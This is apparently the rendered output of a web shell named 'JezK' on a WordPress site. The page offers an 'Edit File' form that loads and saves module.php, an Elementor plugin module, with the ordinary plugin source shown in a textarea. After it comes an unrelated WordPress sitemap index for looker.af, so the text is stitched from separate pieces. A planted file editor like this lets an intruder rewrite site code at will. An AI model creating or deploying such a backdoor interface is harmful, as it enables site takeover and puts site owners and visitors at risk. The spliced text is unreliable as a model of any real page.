
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: module.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\DefaultStyles;

use Elementor\Core\Base\Module as BaseModule;
use Elementor\Modules\AtomicWidgets\Module as Atomic_Widgets_Module;
use Elementor\Modules\DefaultStyles\ImportExportCustomization\Import_Export_Customization;
use Elementor\Plugin;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

class Module extends BaseModule {
	const PACKAGES = [
		&#039;editor-default-styles&#039;,
	];

	public function get_name() {
		return &#039;default-styles&#039;;
	}

	public function __construct() {
		parent::__construct();

		if ( ! Plugin::$instance-&gt;experiments-&gt;is_feature_active( Atomic_Widgets_Module::EXPERIMENT_NAME ) ) {
			return;
		}

		add_filter( &#039;elementor/editor/v2/packages&#039;, fn( $packages ) =&gt; $this-&gt;add_packages( $packages ) );

		( new Default_Style_Post_Type() )-&gt;register();
		( new Default_Styles_Tag_Post_IDs() )-&gt;register_hooks();

		add_filter( &#039;elementor/editor/localize_settings&#039;, fn( $settings ) =&gt; $this-&gt;add_editor_localize_settings( $settings ) );

		( new Default_Styles_REST_API() )-&gt;register_hooks();
		( new Atomic_Default_Styles() )-&gt;register_hooks();
		( new Import_Export_Customization() )-&gt;register_hooks();

		add_filter(
			&#039;elementor/kit/meta_to_preserve_on_kit_import&#039;,
			[ $this, &#039;add_meta_to_preserve_on_kit_import&#039; ]
		);

		add_action( &#039;elementor/kit/after_new_kit_created&#039;, [ $this, &#039;clone_default_styles_for_new_kit&#039; ], 10, 1 );
	}

	public function add_meta_to_preserve_on_kit_import( array $meta_keys ): array {
		return array_merge( $meta_keys, [
			Default_Styles_Tag_Post_IDs::META_KEY,
		] );
	}

	public function clone_default_styles_for_new_kit( array $params ): void {
		[ &#039;new_kit_id&#039; =&gt; $new_kit_id, &#039;previous_kit_id&#039; =&gt; $previous_kit_id ] = $params;

		$previous_kit = Plugin::$instance-&gt;kits_manager-&gt;get_kit( $previous_kit_id );
		$new_kit = Plugin::$instance-&gt;kits_manager-&gt;get_kit( $new_kit_id );

		if ( ! $previous_kit || ! $new_kit ) {
			return;
		}

		$tags = Default_Styles_Tag_Post_IDs::make( $previous_kit )-&gt;get_all();

		foreach ( array_keys( $tags ) as $tag ) {
			Default_Style_Post::clone_to_other_kit( $tag, $previous_kit, $new_kit );
		}
	}

	private function add_packages( $packages ) {
		return array_merge( $packages, self::PACKAGES );
	}

	private function add_editor_localize_settings( array $settings ): array {
		if ( ! isset( $settings[&#039;atomic&#039;] ) ) {
			$settings[&#039;atomic&#039;] = [];
		}

		$settings[&#039;atomic&#039;][&#039;default_styles&#039;] = [
			&#039;allowed_tags&#039; =&gt; Default_Styles_Allowed_Tags::TAGS,
		];

		return $settings;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
